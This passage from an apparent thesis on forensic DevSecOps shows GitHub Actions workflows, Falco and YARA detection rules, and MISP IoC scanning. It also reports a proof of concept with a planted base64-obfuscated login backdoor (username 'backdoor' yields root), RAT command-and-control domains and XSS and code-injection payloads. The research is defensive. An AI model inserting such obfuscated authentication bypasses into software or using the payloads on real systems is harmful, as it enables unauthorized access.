JS-sandbox container write detected! %proc.name (%proc.cmdline) opened
%fd.name for write (container_id=%container.id container_name=%container.name
path=%fs.path.name)

priority: WARNING
tags: [CI/CD, security]

This rule is composed with the already defined structure in Falco’s chapter, and it detects potential
backdoor injections as it alerts whenever there’s a write operation to server.js from within a
container. This behavior is not to be expected, as file overwrites should not generally happen
during compilation time. The condition of activation of this rule makes use of the open_write
macro of Falco, which means “whenever a file is open for write". Then, the event has to happen
inside of the container, not on the host system. Lastly–and optionally, as it can be extended to
other files—the name of the file that is being overwritten must be server.js. This approach is
particularly powerful in its ability to detect malicious activities in real-time rather than after the
fact. After monitoring, the workflow generates a SARIF file from the Falco events, leveraging a
custom-developed Python script:

- name: Create SARIF
run: |

if [[ -f /tmp/falco_events.json ]]; then
python ${{ github.workspace }}/utility/generate_sarif.py \

/tmp/falco_events.json falco.sarif
cat /tmp/falco_events.json

else
echo "No findings from Falco."

fi

This conversion to SARIF format allows the findings to be uploaded to GitHub’s security dash-
board, making them accessible directly within the GitHub ecosystem, maintaining the same visi-
bility as other security tools of the CI/CD pipeline. The script generate_sarif.py, is a simple
command-line utility that takes as input a list of Falco security alerts (in JSON format, one per
line) into a SARIF. The script reads an input file containing Falco alerts, parses each alert, and
constructs a SARIF JSON object that summarizes the rules triggered and the corresponding re-
sults, appending detailed result entries for each alert, including information such as event time,
user, process, and file involved. The output is written to a specified file template in SARIF 2.1.0
format. The file can be briefly summarized as follows, and the complete file can be consulted
directly in the repository:

with open(input_file, ’r’) as f:
falco_alerts = [line.strip() for line in f if line.strip()]

sarif = convert_falco_to_sarif(falco_alerts)
with open(output_file, ’w’) as f:

json.dump(sarif, f, indent=2)
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Static Code Analysis and File Integrity Verification In the previous sections, the weak-
ness of GitHub in handling pipeline logs was already introduced. The main point of interest is
in the complete lack of capabilities in detecting malicious activity, as the main purpose of the
out-of-the-box GitHub Actions logs is to test if the pipeline is working, rather than working safely.
For this reason, Splunk is integrated in the pipeline workflow, making use of Splunk’s Http Event
Collector (HEC). The forensic_snyk.yaml workflow implements this behavior by sending nu-
merous relevant events to Splunk, from simple data regarding the workflow to the results of a file
integrity monitoring step, which will detect the code substitution attack during the dependency
installation phase and generate an alert. Specifically, the workflow begins by computing the SHA-
256 hash of all files in the repository, except the ones in the node_modules folder (as it is to be
expected that they will be modified). The YAML syntax to do so is the following:

- name: Record checksums BEFORE install
run: |

find . \
-type f \
! -path ’./node_modules/*’ \
-exec sha256sum {} \; | sort > checksums-before.txt

shell: bash

After writing the checksums to a text file, the workflow proceeds in the same way as the SCA
step, and a npm install is run. Additionally, the log of the installation is also written to a text
file, so it can be sent to Splunk as well. This step is defined as follows:

- name: Install dependencies
run: |

echo "=== npm install $(date --iso-8601=seconds) ===" | tee install.log
npm install 2>&1 | tee -a install.log

The workflow proceeds by generating a new set of checksums:

- name: Record checksums AFTER install
run: |

find . \
-type f ! \
-path ’./node_modules/*’ \
-exec sha256sum {} \; | sort > checksums-after.txt

shell: bash

Afterwards, the integrity verification step is executed by using the diff command, as defined as
follows:

- name: Compare checksums and alert on mismatch
run: |

if ! diff --brief checksums-before.txt checksums-after.txt >/dev/null; then
echo "File checksum mismatch detected after npm install" >&2
payload=$(

jq -n \
--arg job "$GITHUB_JOB" \
--arg run "$GITHUB_RUN_ID" \
--arg url
"$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID" \
’{

event: {
level: "critical",
message: "Checksum mismatch detected after npm install",
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job: $job,
run_id: $run,
url: $url

},
sourcetype: "github:actions:forensics"

}’
)
curl -k "${SPLUNK_HEC_ENDPOINT}/services/collector/event" \

-H "Authorization: Splunk ${SPLUNK_HEC_TOKEN}" \
-H "Content-Type: application/json" \
-d "$payload"

exit 1
else

echo "Checksums match; proceeding."
fi

In legitimate scenarios, running npm install should only modify files within the node_modules
directory and potentially package-lock.json, but not other source code files. If any other files
have been modified, it indicates a potential code substitution attack where the package manager
or one of the dependencies is attempting to modify the application code to inject a malicious
payload. For this reason, when a mismatch is detected, the workflow sends an alert to Splunk’s
HEC for centralized security monitoring and incident response and fails the workflow with the
exit 1 directive. Additional forensic analysis is enabled by adding information of the run to the
error log, such as the job ID and the run ID.

Additionally, the workflow uploads a summary of the build environment as an artifact in order
to enable further analysis when needed. The step is defined in the following way:

- name: Forensic Environment Snapshot
run: |

mkdir -p forensic
uname -a > forensic/os.txt
npm ls --all > forensic/npm-packages.txt
env > forensic/env.txt

shell: bash

This snapshot includes the runner operating system info, a complete list of installed npm packages
(which can help identify malicious dependencies), and environment variables. These artifacts are
the typical first focus for post-incident forensic analysis, enabling security teams to discover and
neutralize quickly the malicious activity.

Lastly, the workflow defines a step that sums up the most important information about that
specific action context, such as the run ID, the actor that started it, and the commit SHA, and
sends it zipped to the HEC. The code is the following:

- name: Forward metadata (JSON) to Splunk HEC
run: |

# GitHub context + action summary
jq -n --arg run_id "$GITHUB_RUN_ID" \

--arg repo "$GITHUB_REPOSITORY" \
--arg actor "$GITHUB_ACTOR" \
--arg commit "$GITHUB_SHA" \
--arg ref "$GITHUB_REF" \
--arg time "$(date +%s)" \

’{
event: {

run_id: $run_id,
repository: $repo,
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actor: $actor,
commit: $commit,
ref: $ref,
timestamp: $time

},
sourcetype: "github:actions:snyk"

}’ \
| gzip | \
curl -k "$SPLUNK_HEC_ENDPOINT/services/collector" \

-H "Authorization: Splunk $SPLUNK_HEC_TOKEN" \
-H "Content-Type: application/json" \
-H "Content-Encoding: gzip" \
--data-binary @-

Malicious Pattern Detection with YARA Rules YARA capabilities, in a DevSecOps
pipeline, are greatly defined by the strength and relevancy of the defined custom YARA rules. If
tailored to the repository’s unique risk profile—like potential internal threats—could complement
broader SAST tools by identifying malicious activity on the static code. The yara.yaml workflow
implements a simple pattern-based detection of potentially malicious code using a custom YARA
rule, which is able to detect Base64 obfuscation in static code. Obfuscation is a common tactic of
malware to avoid detection by security tools, and it was a crucial technique employed during the
CVE-2024-3094 attack. The workflow, aiming to address this issue, begins by installing YARA
on the runner container:

- name: Install YARA
run: |

sudo apt-get update
sudo apt-get install -y yara

Then it runs a recursive scan (suppressing warnings) using a custom rule defined in the compiled
file obfuscation.yar. The .git folder is excluded from the search, as it is to be expected to
generate multiple false positives. The code is the following:

- name: Run YARA scan (exclude .git folder)
id: scan
run: |

yara -w -r yara_rules/base64_obfuscation.yar . > results.txt || true
echo "Filtered YARA scan results (excluding .git):"
grep -v ".git" results.txt || echo "No matches found."

The YARA rule specifically matches sequences of 40+ Base64 chars, with optional ’=’ padding.

rule Base64_Obfuscation {
meta:

description = "Detects long Base64 strings typical of obfuscated code"
author = "Luigi Papalia"
date = "2025-05-08"

strings:
//
$b64 = /[A-Za-z0-9+\/]{40,}={0,2}/

condition:
$b64

}
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YARA’s ability to define complex patterns using regular expressions and Boolean logic makes
it an extremely powerful tool for identifying potential backdoors, especially when customized
rules are created based on known attack patterns or indicators of compromise specific to the
organization’s threat model. For reference, Elastic GitHub repository defines a YARA rule that
is able to correctly identify the liblzma backdoor with the following .yar file[98]:

rule Linux_Trojan_XZBackdoor_74e87a9d {
meta:

author = "Elastic Security"
id = "74e87a9d-11c1-4e86-bb3c-63a3c51c50df"
fingerprint = \
"6ec0ee53f66167f7f2bbe5420aa474681701ed8f889aaad99e3990ecc4fb6716"
creation_date = "2024-03-30"
last_modified = "2024-04-03"
threat_name = "Linux.Trojan.XZBackdoor"
reference_sample = \
"5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049"
severity = 100
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "linux"

strings:
$a1 = "yolAbejyiejuvnup=Evjtgvsh5okmkAvj"
$a2 = {

0A 31 FD 3B 2F 1F C6 92 92 68 32 52 C8 C1 AC 28 34
D1 F2 C9 75 C4 76 5E B1 F6 88 58 88 93 3E 48 10 0C
B0 6C 3A BE 14 EE 89 55 D2 45 00 C7 7F 6E 20 D3 2C
60 2B 2C 6D 31 00

}
$b1 = {

48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89
C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2

}
$b2 = {

31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24
48 4D 89 CE F3 AB 48 8D 44 24 48

}
$b3 = {

4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1
FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07

}
condition:

1 of ($a*) or all of ($b*)
}

Indicators of Compromise Scanning Indicators of Compromise are essentially a sign that
an attack is occurring or a system has been compromised. The MISP project is able to provide
an updated feed of past and present-day threats. Text-based IoCs can be easily and quickly
identified in a repository by using the MISP APIs, and that is exactly the approach utilized
by this workflow. Specifically, the ioc_scanner.yaml workflow implements a threat intelligence
integration through the use of a Python script that is able to extract possible IoC from each file
of the repository, querying each one of them against the local MISP instance feeds, ultimately
parsing the answer and uploading a Markdown file of the findings directly in the action summary
section. The workflow runs in a self-hosted runner, as it needs the MISP connectivity to
properly function. It begins by setting up the necessary environment:
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- name: Setup Python
uses: actions/setup-python@v5
with:

python-version: ’3.11’

- name: Install dependencies
run: |

python -m pip install --upgrade pip
pip install ioc-finder pymisp

The key dependencies include ioc-finder, a Python library for extracting various types of indica-
tors of compromise from text, and pymisp, a Python client for interacting with MISP instances.
As visible on the official documentation[99], the types of IOCs that can be detected by the
ioc-finder include, but are not limited to:

1. IP address (IPv4 and IPv6)

2. Domain names

3. URLs (URLs with and without schemes)

4. File hashes (md5, sha1, sha256, sha512, and import hashes, and authentihashes)

5. Email addresses (both standard format (e.g. test@example.com) and an email with an IP
address as the domain (e.g. test@[192.168.0.1]))

6. Bitcoin addresses (P2PKH, P2SH, and Bech32)

After the environment is set up, the IOC matcher script is executed, as defined in the following
step:

- name: Run IOC Matcher
run: |

mkdir -p output
python ${{ github.workspace }}/utility/ioc_matcher.py \

--input-folder "$INPUT_FOLDER" \
--misp-url "$MISP_URL" \
--misp-key "$MISP_API_KEY" > output/report.md

continue-on-error: true

This script scans the entire repository (specified by $INPUT_FOLDER) for potential indicators
of compromise contained in text files with supported extensions (txt, js, yaml, json, html
and Dockerfile) and checks them against the MISP database using the provided credentials
($MISP_URL and $MISP_API_KEY). Further and precise details about the ioc_matcher.py script
are outlined in the next section. Lastly, the results of the scan—which are written in Markdown
by the script—are both uploaded as an artifact and written in the workflow summary page, as
defined in the following code:

- name: Upload full report artifact
uses: actions/upload-artifact@v4
with:

name: ioc-report-md
path: output/report.md

- name: Publish report to Summary
run: |

echo "## :warning: IOC Matcher Report" >> $GITHUB_STEP_SUMMARY
echo "" >> $GITHUB_STEP_SUMMARY
tail -n +2 output/report.md >> $GITHUB_STEP_SUMMARY
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This workflow can leverage the collective knowledge of the security community to identify po-
tential threats that match known patterns. This is particularly valuable for quickly detecting
sophisticated attacks—such as supply chain attacks—that have already happened, analyzing and
neutralizing them, and greatly reducing the Mean Time to Identify (MTTI) and the Mean Time
to Resolve (MTTR).

Description of the ioc_matcher.py script The ioc_matcher.py enables IoC extraction from
the repository, checking each one of them against the MISP, and generating a Markdown-formatted
report of any matches found. The workflow consists of the following high-level steps:

1. Parse command-line arguments (parse_args).

2. Initialize a MISP connection with connection pooling (initialize_misp).

3. Recursively scan the input folder for files with specific extensions and extract all distinct
IOCs, mapping them to their source file(s) (collect_iocs).

4. For each IOC, perform a cached search against the MISP instance (cached_search) to
retrieve any matching attributes.

5. For every match returned by MISP, render detailed information in Markdown format, in-
cluding both attribute and event-level metadata (display_match_details_md).

6. Coordinate the above using a thread pool to parallelize MISP queries and avoid redundant
output (main).

The high-level schema of the script is defined in the image 4.2.

Implementation Summary The integration with GitHub’s workflow summary adheres to
the common principles of security tools, as it ensures that security findings are immediately
visible to developers and security teams, enabling rapid response to potential threats and reducing
communication silos between developers and security practitioners. IoC scanning capabilities
complement the other security measures by focusing on known threats rather than anomalous
behavior or suspicious patterns: combining these approaches drastically improves the overall
security posture of the entire pipeline, as different types of exploits or malicious activities may be
detected by different mechanisms. For example, a novel backdoor with unique code patterns might
evade the IoC scanner but could be caught by the YARA rules or Falco monitoring. Conversely, a
known backdoor that uses obfuscation techniques to evade pattern matching might be identified
through its IoCs matching on existing threat intelligence. When an attack is detected, the use
of Splunk enables forensic analysis, which can be used to analyze the attack’s traces. In the
next chapter, a Proof-of-Concept of this pipeline is provided, highlighting the differences from a
traditional one.
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Figure 4.2. Scheme of the extractor
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Chapter 5

Proof of concept

The objective of this chapter is to demonstrate the effectiveness of a forensic-aware DevSecOps
pipeline in identifying and mitigating both supply chain attacks and insider threats involving the
injection of malicious code into the project’s code, which later will be containerized and published
to the GitHub Container Registry. This proof of concept serves as a comparative analysis between
two pipeline configurations: a traditional DevSecOps pipeline that includes standard security tools
(i.e., SCA, SAST, DAST, and IaC tools) and an enhanced forensic-aware pipeline that integrates
runtime analysis, IoC correlation, YARA-rule matching, and behavioral monitoring mechanisms.

In the previous years, it has been registered a high number of software supply chain attacks,
establishing them as a critical threat vector. A Cowbell research states that supply chain attacks
have surged by 431% since 2021 and will continue to grow even further[100]. This kind of attack
works by compromising dependencies, build processes, or artifact repositories, enabling attackers
to inject malicious payloads into otherwise legitimate software packages. Once published, these
artifacts will be unknowingly deployed into production environments and used by potentially
multiple projects: this creates seemingly secure code with undetected persistent backdoors, sen-
sitive data exfiltration, or an additional entry point to carry out further internal attacks. Such
threats often go undetected by traditional DevSecOps pipelines, which primarily rely on static
and pre-deployment analyses and may lack real-time detection capabilities.

To illustrate this problem, the solutions proposed in the implementation chapter are run: the
first part of this chapter walks through the execution of a standard pipeline configured using
GitHub Actions. The JavaScript application is built and containerized, and a malicious backdoor
is—as predicted—injected into the final container image, which is then published to GHCR. As
will be shown and already mentioned, the existing security controls in the traditional pipeline fail
to detect the malicious injection. The compromised application is then deployed, and an attacker
simulates exploitation of the backdoor, proving the attack’s effectiveness and severity.

The second part of the chapter demonstrates the same scenario using the implemented forensic-
aware DevSecOps pipeline. This pipeline introduces multiple layers of detection, including code
injection detection with Falco, centralized log analysis with Splunk paired with Snyk, IoC corre-
lation with MISP, and custom rules detection via the YARA-cli scanner. As the pipeline runs,
the malicious injection is flagged by the different tools. For the publishing process, it is halted,
alerts are generated, and forensic artifacts are collected for forensic analysis.

As both workflows are executed and evaluated, this chapter provides two lessons learned; on
one hand, addressing the shortcomings of classical pipelines with respect to advanced, stealthy
threats, and on the other hand, showing the potential added value when integrating forensics
intelligence into the CI/CD lifecycle. Combining proactive (shift-left) with reactive (forensic)
security measures, it is possible to greatly enhance detection, shrink response time, and harden
the general resiliency of the development and deployment process.
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5.1 Objective and Scope of the Experiment

Purpose The purpose of this proof of concept is to form, on the basis of real experimentation,
the hypothesis that the integration of forensic capabilities into a CI/CD pipeline significantly
enhances supply chain threat detection and response effectiveness against sophisticated threats.
Unlike testing static security checks alone, the experiment tries to test the end-to-end behavior
of both normal and forensic-aware pipelines under realistic conditions. By injecting a carefully
crafted malicious payload into a containerized application, this test offers a repeatable template
for thorough testing of the strengths and weaknesses of each individual pipeline. The objective is
not just to test detection of an attack but also to witness the exact timing, place, and mechanisms
in the pipeline where detection (or lack of detection) takes place and the actionability of resulting
evidence for subsequent post-mortem analysis.

Scope This proof of concept is mainly focused on detecting a malicious payload that is em-
bedded in a container image during the Continuous Integration/Continuous Deployment process.
This experimental setup is constrained to GitHub Actions as the automation platform, with the
GitHub Container Registry as the target repository for the distribution of images. The work
compares two pipeline configurations: the first configuration represents a standard DevSecOps
pipeline, while the second configuration includes forensic analysis along with threat intelligence
functionality. The subject of the test is an intentionally vulnerable web server, chosen for replicat-
ing the environment of a real deployment scenario. The analysis includes both pipeline behavior
and post-deployment attack surface exposure but excludes broader incident response activities
such as patch management or regulatory reporting. The focus is on pipeline visibility, alerting
fidelity, and the forensic traceability of the malicious injection.

5.2 Setup of the Target Application and Environment

Environment The test environment has been designed to closely replicate a modern CI/CD
deployment pipeline while accommodating the infrastructural constraints and forensic needs of
this proof of concept. Essentially, the environment takes a foundation in GitHub Actions for
automation with a hybrid runner setup: regular ubuntu-latest runners for typical tasks and a
self-hosted runner deployed on the local development host for all tasks involving interaction
with non-publicly accessible resources. The decision to use a self-hosted runner stems from the
fact that key forensic components—namely MISP and Splunk—are hosted locally, and it was not
practical to expose them to the public internet, mainly due to cost limitations. Moreover, the
self-hosted runner communicates securely with these internal services without the need to set
up certificates or additional security.

The Node.js web application developed for the purposes of this experiment is designed to
be simple and modular on purpose since it’s supposed to mimic an actual microservice with
REST endpoints. It’s containerized and deployed on a Minikube instance on the same local
host as the self-hosted runner. This makes it possible to emulate post-deployment processes,
including runtime attacks and anomaly detection, while having in-depth supervision over both
the deployment and monitoring environments.

Licensing and Cost Considerations All tools used in this proof of concept are either open-
source or available under free community editions. Their selection was also driven by accessibility
and cost-effectiveness for academic and research purposes:

• Snyk offers a free plan suitable for small-scale use, which supports CLI scanning and limited
GitHub integration.

• Semgrep provides a free tier with full access to its open-source rules and CI/CD integration
features.
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• Trivy, OWASP ZAP, Falco, and YARA are fully open-source and can be freely used without
restriction.

• Splunk provides a free license for individual use, which includes up to 500MB/day of indexed
data—way more than the log volume expected in this proof of concept.

• MISP is also open-source and self-hosted, avoiding the need for any commercial licensing.

The utilization of such tools makes the whole pipeline reproducible and can be enhanced by other
professionals or researchers at no additional cost.

Tool Versions Below is a summary table of the tools used and their respective versions:

Tool Purpose Execution Context Version
Snyk SCA GitHub-hosted runner v4
Semgrep SAST GitHub-hosted runner v4
OWASP ZAP DAST GitHub-hosted runner v0.12.0
Trivy IaC and container scanning GitHub-hosted runner v4
Falco Runtime threat detection Local machine (Minikube) latest
YARA Artifact scanning with Falco

rules
Local self-hosted runner latest

MISP Threat intelligence correlation Local machine v2.5.10
Splunk Log aggregation and forensic an-

alytics
Local machine latest

IoC Extractor IoC extraction and MISP query-
ing

Local self-hosted runner internal

Minikube Local Kubernetes deployment
environment

Local machine v1.35.0

Table 5.1. Overview of Security Tools with Execution Context and Version

The framework promotes the synergistic coexistence of realistic operational complexity and
experimental control, allowing for appropriate comparison between the traditional methods and
and forensic-aware approaches within the pipeline.

Application structure and Containerization As mentioned before, the proof-of-concept
app outlined in this thesis is a minimal JavaScript web service. It is designed to replicate the
traditional microservice architecture by exposing HTTP endpoints for common operations such as
data retrieval, input processing, and basic authentication via username and password. The mini-
malism of the design ensures that security assessments focus on pipeline behavior instead of the
underlying application logic while providing a realistic attack surface for injection and exploita-
tion of introduced vulnerabilities. The application is containerized with an intentionally simple
and flawed Dockerfile. It installs the necessary Node.js dependencies, copies the application
source code into the image, and defines the port where the server listens, lacking completely health
checks and USER directive. The resulting image is published to the GHCR as the last step of the
pipeline process. For deployment, a deployment.yaml manifest is used to define the application’s
configuration within a Minikube K8s cluster running locally. The manifest specifies standard con-
figuration directives while purposefully missing critical sections such as resource limits in order
to maintain its purpose of showcasing typical IaC vulnerabilities.

To validate the application’s functionality after the publish stage, it is accessed through a web
browser. This manual testing step serves two purposes: first, to verify that the application starts
correctly and is reachable through the exposed Minikube ingress or NodePort; second, to provide
a visual interface for simulating user interaction and verifying the presence or absence of malicious
behavior. Screenshots are captured at each critical stage of execution—after pipeline execution
and during backdoor exploitation—to serve as visual evidence supporting the evaluation.
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5.3 Execution of the Traditional DevSecOps Pipeline

Pipeline Description The pipelines for this proof of concept are configured as workflows in
GitHub Actions and are set up to execute in two different modes, based on the stage of the
experiment. For the classic DevSecOps pipeline, the workflow is set up to automatically execute
against pull requests to the main branch. This depicts a common scenario of real-world application
where security testing is triggered as a part of the evaluation process before integration and
deployment of code. This setup allows for the maintenance of continuous integration practices
while at the same time giving visibility into whether vulnerabilities introduced could potentially
slip through the automated defenses. The forensic-aware pipeline, on the other hand, is configured
to run manually on demand, using the workflow_dispatch trigger. This choice is simply to
control its execution timing, allowing it to initiate the scan at custom moments without relying
on Git events. This manual trigger is especially needed given the reliance on internal infrastructure
(e.g., MISP and Splunk) that is not available to external runners and that requires additional setup
prior to execution. In a real-world scenario, this pipeline could be set on pull requests as well,
without compromising any of its functionalities.

Security Gaps The implementation of a traditional DevSecOps pipeline, despite its proven
and numerous benefits, has some critical blind spots, especially regarding attacks that involve
obfuscated payloads, non-functional artifacts, and malicious infrastructure references embedded
into the codebase. Even with the use of popular scanners like Snyk, Semgrep, OWASP ZAP, and
Trivy, the pipeline is not able to detect evident indicators of compromise and possibly malicious
constructs, hence leaving a backdoored application undetected throughout all validation steps. An
explicative example of this lack of awareness is the presence of various RAT command-and-control
domains as string constants in the code:

const bad_domain_1 = "microsoft.noip.me";
const bad_domain_2 = "microsoft23.no-ip.org";
const bad_domain_3 = "microsofthostwds.ddns.net";
const bad_domain_4 = "microsoftnet.duckdns.org";
const bad_domain_5 = "microsoftnet.no-ip.org";
const bad_domain_6 = "microsoftupdate.authorizeddns.org";
const bad_domain_7 = "microsoftupdate.webhop.me";

Despite the lack of invocation within any function or connection to any runtime logic, these do-
mains are clear pointers to possible forensic interest. In an actual attack situation, it is plausible
that these domains would be included—as it happened in the liblzma attack—in subsequent up-
dates or executed in real-time by obfuscated code or runtime evaluation. The traditional pipeline’s
failure to identify and flag these indicators reflects a limitation of standard SCA and SAST tools,
which possess functional vulnerability pattern bias and don’t account for non-executed static refer-
ences that may still serve operational roles in staged attacks. Another primary gap is the malicious
substitution of a SQL query with a dynamically constructed backdoor using base64-encoded logic:

const modifiedQuery = "new Function(’u’, ’p’, Buffer.from(’
cmV0dXJuIHUgPT09ICdiYWNrZG9vcicgPyAiU
0VMRUNUICogRlJPTSB1c2VycyBXSEVSRSB1c2
VybmFtZSA9ICdyb290JyBPUiAoMSA9IDAgQU5
EIHVzZXJuYW1lID0gPyBBTkQgcGFzc3dvcmQg
PSA/KSIgOiAiU0VMRUNUICogRlJPTSB1c2Vyc
yBXSEVSRSB1c2VybmFtZSA9ID8gQU5EIHBhc3
N3b3JkID0gPyI7’, ’base64’).toString())(username)";

This payload encodes and evaluates at runtime a conditional logic gate that defines a syntactically
correct login query but in reality allows for unauthorized access under crafted conditions—i.e. the
username “backdoor". The obfuscation technique used here, hiding the logic in a base64-encoded
string and dynamically executing it via Function(), bypasses most pattern-based detection rules
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used by standard SAST engines. Tools like Semgrep, in their default configuration, do not flag
this usage as suspicious, since the code technically does not match known SQL injection patterns
or insecure query execution syntax. Specifically, the malicious query is a correct parameterized
query, so even if obfuscated, it does not generate any alert:

SELECT *
FROM users
WHERE username = ’root’
OR (1 = 0 AND username = ? AND password = ?)

These security gaps demonstrate how conventional pipelines, even when configured with up-to-
date scanners, can miss subtle but critical indicators of compromise, not by error, but by design.
Such omissions not only allow malicious payloads to be published but also increase the likelihood
of undetected post-deployment backdoor exploitation. This validates the need for deeper, context-
aware, and forensic-capable analysis integrated directly into the CI/CD process.

Attack Injection To validate the presence and exploitability of the vulnerabilities reported by
the DAST scanner (OWASP ZAP) and to verify the presence of the backdoor in the published
image, the vulnerable application is deployed locally by using the published container image on
the GHCR, as defined as follows:

docker login ghcr.io -u luigi-papalia
docker pull ghcr.io/luigi-papalia/vulnerable-app:latest
docker run -p 3000:3000 -d ghcr.io/luigi-papalia/vulnerable-app:latest

The application is accessible at the url http://localhost:3000. The following security issues,
detected during the DAST scan, are manually verified via browser-based testing to demonstrate
their real-world impact. More precisely, the application’s endpoint /greet does not sanitize user
input. As a result, arbitrary JavaScript can be injected and executed in the browser of any user
viewing the page. To demonstrate the XSS vulnerability, the following payload is injected, and
the execution of the alert is confirmed with the image 5.1.

http://localhost:3000/greet?name=<script>alert("XSS")</script>

The application’s endpoint /calculate, again, does not sanitize user input, thus allowing for
arbitrary code execution on the server. To verify the code injection vulnerability, the payload
expr=2*2 is inserted, thus resulting in a successful attack 5.2.

Observations The tool OWASP ZAP is able to detect and generate an alert for both of those
vulnerabilities. The result of the scan, partially omitted to exclude non-meaningful findings (such
as Sec-Fetch-Site Header is Missing and Storable but Non-Cacheable Content) is defined
in the image 5.3.

It’s extremely crucial to note that there’s no mention of the backdoor, as it is completely
out-of-scope of OWASP ZAP capabilities. In fact, it’s possible to test its presence with the test 5.4
and 5.5.

5.4 Execution of the Forensic-Aware DevSecOps Pipeline

Pipeline Enhancements The forensic-aware pipeline includes several important advancements
for detecting hidden, non-evident threats that bypass traditional security controls. These are
structured in multiple components, each triggered at specific stages of the workflow and within
its respective context, and are executed mainly through the self-hosted runner to ensure secure
access to internal forensic infrastructure such as MISP and Splunk.
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Figure 5.1. Successful XSS injection

Figure 5.2. Successful Code Injection

Figure 5.3. Partially correct detection
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Figure 5.4. Login Phase

Figure 5.5. Backdoor injected
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Before container building and publishing to GHCR, two parallel workflows are called: one ex-
ecuting YARA scans against the source code to search for matches with the custom YARA rule
and another invoking the custom IoC extractor, which pulls the codebase for static indicators
(domains, IPs, hashes) and queries them against the local MISP instance. These workflows ex-
ist independently and run in parallel to classic DevSecOps tools, allowing for the scaling and
debugging of each phase and security control independently.

For runtime detection, Falco is deployed in a sandboxed configuration within the local Minikube
cluster and is paired with Sysdig to capture detailed kernel-level activity. This allows for real-
time behavioral monitoring during the execution of the containerized application. Pre-built Falco
rules trigger on anomalies such as unauthorized shell spawns, outbound connections to known C2
domains, and unexpected file system access; in this case, a custom Falco rule is defined to detect
file overwrites in the source code. These alerts are published in SARIF format directly into the
repository in order to maintain the core principles of DevSecOps, such as collaboration between
the development and security teams.

Detection Capabilities Every component that incorporates forensic awareness into the im-
proved pipeline is used to generate a different layer of threat detection, thereby enabling the
pipeline to fight a greater variety of attacks that would otherwise not be detected. The de-
sign of these detection systems not only aims to trigger alerts but also delivers actionable, well-
documented evidence right within the GitHub Actions workflow.

The YARA workflow is set up to scan the static source code for matches against the custom-
defined rule, which is able to find code that indicates obfuscation via Base64 encoding. Should
a match be identified, the entire workflow is halted, and the code location is written in the job
output log. This security gate effectively blocks the publishing process, as its correct execution is
a necessary requirement to proceed with the pipeline. The figure 5.6 displays the behavior in a
GitHub actions workflow.

The Falco runtime security monitor runs within the Minikube environment to provide real-
time behavior deviation-based alerts at the deployment and execution phase of an application.
These alerts are formatted in SARIF and uploaded to the GitHub Actions Security tab, allowing
them to be reviewed in the same location as traditional code scanning alerts. This integration en-
ables developers and security analysts to trace runtime issues alongside static findings, enhancing
visibility and correlating issues over time. Again, the figure 5.7 displays the behavior in a GitHub
actions workflow.

The IoC extractor workflow operates independently, scanning the source code for suspicious
artifacts such as hardcoded domains, IP addresses, and hashes. When indicators are found, they
are checked against the MISP database via its API. The results, when found in MISP feeds, are
included directly in the workflow summary using GitHub Actions’ summary output capability.
This ensures that the correlated IoCs are readily visible at a glance after each pipeline run, as
visible in the workflow defined in the image 5.8.

The last forensic mechanism is the SCA + Splunk integration workflow, which augments a typ-
ical Snyk scan with forensic instrumentation and tampering detection. File checksums throughout
the repository are captured before and after npm install. Any discrepancy sends a Splunk alert
through HEC, signaling possible tampering during dependency resolution—a prevalent supply
chain attack vector. Environment snapshots (OS details, installed packages, and environment
variables) are also stored, generating a reproducible forensic trail. Simultaneously, metadata
about the workflow execution, including actor, commit, and repository details, is forwarded to
Splunk as JSON. This transforms Snyk’s report into an enriched forensic event stream that can
be searched in Splunk for long-term incident correlation and SOC visibility, rather than just a
static vulnerability report. SARIF output from Snyk is also forwarded to the GitHub Security
tab, ensuring compatibility with normal reporting workflows. This specific behavior is referenced
in the images 5.9, 5.10 and 5.11.
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Figure 5.6. YARA pipeline failed on detection
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Figure 5.7. Secure image publish with Falco

109



Proof of concept

Figure 5.8. IoC detection with extractor + MISP
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Figure 5.9. Checksum mismatch on GitHub
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Figure 5.10. Checksum mismatch on Splunk
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Figure 5.11. Snyk output in SARIF uploaded on Splunk
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Together, these four components create a multi-phase detection system that inspects static
code through multiple points of view. Each stage contributes alerts and documentation either
directly within the GitHub Actions interface or with Splunk, ensuring that threat intelligence is
not only generated but also contextualized and made accessible where developers and security
teams already operate.

5.5 Comparative Summary

The contrast between traditional and forensic-aware pipelines illustrates not only a disparity
in detection efficacy but also an extreme disparity in the underlying security philosophy and
operational complexity. The traditional pipeline is designed to focus on surface-level validation—
checking code adherence to pre-established vulnerability patterns, licensing terms, and static
policy guidelines. It assumes that threats will manifest in recognizable, actionable forms, and as
such, it performs well against common, explicitly documented issues. However, it lacks context,
memory, and adaptability. It does not track patterns across time, it cannot reason about suspicious
intent when malicious code is dormant, and it fails silently when an attack does not trigger a
predefined rule.

In contrast, the forensic-aware pipeline approaches security as an evolving narrative. It doesn’t
rely solely on “Is this code vulnerable right now?" but asks, “Does this code look like something
an attacker would plant, even if it’s not yet active?" This distinction is critical in detecting staged
payloads—such as the hardcoded command-and-control domains or base64-encoded backdoor
logic—which pass unnoticed by static pattern matchers because they are not actively called or
syntactically incorrect. The forensic-aware tools, especially the IoC extractor, capture these
dormant artifacts by matching them with known TTPs from threat intelligence sources.

In addition, the forensic-aware pipeline brings time awareness. The runtime analysis of Falco
does not merely alert on anomalous system calls—it associates them with deployment events
and build artifacts, in effect creating a forensic timeline. This allows for a more fine-grained
comprehension of how and when a malicious action was invoked, data that is completely missing
in conventional pipelines. While traditional tools may identify what is wrong, the forensic-aware
model also shows how, when, and by whom—data crucial not just for blocking an attack, but for
post-incident remediation and accountability.

From an operational standpoint, the traditional pipeline creates a binary outcome: pass or
fail. The forensic-aware pipeline, on the other hand, creates a stratified forensic footprint across
different dimensions of the build and deployment process. Such traces—summarizing SARIF
alerts and failed scans—form a permanent, queryable security audit trail. Not only does this help
with compliance scenarios, but it also fosters a culture of evidence-based decision-making within
development teams.

A second key lesson is to shift from a prevention-only mindset to active monitoring and
accountability. In the traditional pipeline architecture, after malicious code passes the checks,
